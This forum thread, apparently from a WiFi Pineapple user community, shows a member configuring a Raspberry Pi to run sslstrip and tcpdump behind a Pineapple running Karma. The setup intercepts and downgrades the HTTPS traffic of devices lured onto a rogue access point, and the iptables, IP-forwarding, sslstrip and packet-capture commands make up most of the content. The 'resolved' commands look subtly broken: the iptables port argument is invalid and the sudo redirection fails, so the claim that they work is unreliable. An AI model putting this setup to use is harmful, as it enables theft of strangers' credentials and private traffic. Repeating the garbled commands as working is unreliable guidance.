Mark IV :: Raspberry Pi :: SSLstrip

[SilentVuer]

I'm trying to run sslstrip and tcpdump on my raspberry pi while the pineapple does it's thing running Karma. Trying to offload some work to the pi basically.

I can get tcpdump running on the pi and pick up the traffic on eth0 but how do i setup the IP tables on the pi to run sslstrip on the pi correctly? Currently sslstrip runs on the pi but doesn't strip the SSL traffic, still comes through encrypted when I review the tcpdump file.

I suppose I could run sslstrip on the Pineapple but yet again I'm trying to run those processes on the Pi instead.

Current setup:

• Pineapple connected to the pi via ethernet (eth0)
• Pi connects to the internet via (wlan0)
  • Everything is bridged and working perfectly with "wp4.sh"
• Run the following commands on the pi:
  • sudo echo 1 > /proc/sys/net/ipv4/ip_forward
  • sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
  • sudo python sslstrip -a -k -l 8080
  • sudo tcpdump -w test.pcap -i eth0

Thanks in advance.

[SilentVuer]

Problem resolved... actually what I had works, the only item I changed was the port number used.

The following works:

• Pineapple connected to the pi via ethernet (eth0)
• Pi connects to the internet via (wlan0)
  • Everything is bridged and working perfectly with "wp4.sh"
• Run the following commands on the pi:
  • sudo echo 1 > /proc/sys/net/ipv4/ip_forward
  • sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 8888
  • sudo python sslstrip -a -k -l 8080 8888
  • sudo tcpdump -w test.pcap -i eth0

Edited December 5, 2013 by SilentVuer